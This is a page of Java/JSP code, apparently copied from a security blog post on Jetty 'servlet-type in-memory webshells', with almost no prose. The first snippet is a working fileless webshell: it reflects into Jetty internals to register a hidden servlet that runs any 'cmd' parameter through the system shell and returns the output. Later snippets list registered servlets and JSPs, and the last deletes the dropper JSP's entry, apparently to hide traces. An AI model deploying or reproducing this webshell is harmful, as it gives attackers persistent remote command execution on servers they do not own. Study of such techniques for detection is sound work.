Jetty Servlet型内存马

<%@ page import="java.lang.reflect.Field"%><%@ page import="java.lang.reflect.Method"%><%@ page import="java.util.Scanner"%><%@ page import="java.io.*"%><%    String servletName = "myServlet";    String urlPattern = "/servlet";    Servlet servlet = new Servlet() {        @Override        public void init(ServletConfig servletConfig) throws ServletException {        }        @Override        public ServletConfig getServletConfig() {            return null;        }        @Override        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {            HttpServletRequest req = (HttpServletRequest) servletRequest;            if (req.getParameter("cmd") != null) {                boolean isLinux = true;                String osTyp = System.getProperty("os.name");                if (osTyp != null && osTyp.toLowerCase().contains("win")) {                    isLinux = false;                }                String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner( in ).useDelimiter("\a");                String output = s.hasNext() ? s.next() : "";                servletResponse.getWriter().write(output);                servletResponse.getWriter().flush();                return;            }        }        @Override        public String getServletInfo() {            return null;        }        @Override        public void destroy() {        }    };    Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");    threadMethod.setAccessible(true);    Thread[] threads = (Thread[]) threadMethod.invoke(null);    ClassLoader threadClassLoader = null;    for (Thread thread : threads)    {        threadClassLoader = thread.getContextClassLoader();        if(threadClassLoader != null){            if(threadClassLoader.toString().contains("WebAppClassLoader")){                Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");                fieldContext.setAccessible(true);                Object webAppContext = fieldContext.get(threadClassLoader);                Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");                fieldServletHandler.setAccessible(true);                Object servletHandler = fieldServletHandler.get(webAppContext);                Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");                fieldServlets.setAccessible(true);                Object[] servlets = (Object[]) fieldServlets.get(servletHandler);                boolean flag = false;                for(Object s:servlets){                    Field fieldName = s.getClass().getSuperclass().getDeclaredField("_name");                    fieldName.setAccessible(true);                    String name = (String) fieldName.get(s);                    if(name.equals(servletName)){                        flag = true;                        break;                    }                }                if(flag){                    out.println("[-] Servlet " + servletName + " exists.<br>");                    return;                }                out.println("[+] Add Servlet: " + servletName + "<br>");                out.println("[+] urlPattern: " + urlPattern + "<br>");                ClassLoader classLoader = servletHandler.getClass().getClassLoader();                Class sourceClazz = null;                Object holder = null;                Field field = null;                try{                    sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");                    field = sourceClazz.getDeclaredField("JAVAX_API");                    Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);                    holder = method.invoke(servletHandler, field.get(null));                }catch(ClassNotFoundException e){                    sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");                    Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);                    holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));                }                holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);                holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);                servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);                Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");                Object servletMapping = null;                try{                    servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));                }catch(NoSuchMethodException e){                    servletMapping = clazz.newInstance();                }                servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);                servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});                servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping);            }             }    }%>

<%@ page import="java.lang.reflect.Method "%><%    ServletContext servletContext = request.getServletContext();    Methodm1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getServletRegistrations");    Object obj1 = m1.invoke(servletContext);    out.println(obj1); %>

request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getServletRegistrations").invoke(request.getSession().getServletContext())

<%@ page import="java.lang.reflect.Field"%><%@ page import="java.lang.reflect.Method"%><%    Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");    threadMethod.setAccessible(true);    Thread[] threads = (Thread[]) threadMethod.invoke(null);    ClassLoader threadClassLoader = null;
    for (Thread thread:threads)    {        threadClassLoader = thread.getContextClassLoader();        if(threadClassLoader != null){            if(threadClassLoader.toString().contains("WebAppClassLoader")){                Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");                fieldContext.setAccessible(true);                Object webAppContext = fieldContext.get(threadClassLoader);                Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");                fieldServletHandler.setAccessible(true);                Object servletHandler = fieldServletHandler.get(webAppContext);                Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");                fieldServlets.setAccessible(true);                Object[] servlets = (Object[]) fieldServlets.get(servletHandler);                boolean flag = false;                for(Object servlet:servlets){                    out.print(servlet + "<br>");                }            }             }    }%>

<%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.concurrent.ConcurrentHashMap" %><%@ page import="java.util.*" %><%       Field f = request.getClass().getDeclaredField("_scope");    f.setAccessible(true);    Object conn1 = f.get(request);    f = conn1.getClass().getDeclaredField("_servlet");    f.setAccessible(true);    Object conn2 = f.get(conn1);    f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");    f.setAccessible(true);    Object conn3 = f.get(conn2);    f = conn3.getClass().getDeclaredField("jsps");    f.setAccessible(true);    ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);      Enumeration enu = conn4.keys();     while (enu.hasMoreElements()) {         out.println(enu.nextElement() + "<br>");     }  %>

<%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.concurrent.ConcurrentHashMap" %><%@ page import="java.util.*" %><%
    Field f = request.getClass().getDeclaredField("_scope");    f.setAccessible(true);    Object conn1 = f.get(request);    f = conn1.getClass().getDeclaredField("_servlet");    f.setAccessible(true);    Object conn2 = f.get(conn1);    f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");    f.setAccessible(true);    Object conn3 = f.get(conn2);    f = conn3.getClass().getDeclaredField("jsps");    f.setAccessible(true);        ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);      conn4.remove("/myServlet.jsp");%>

来源：https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC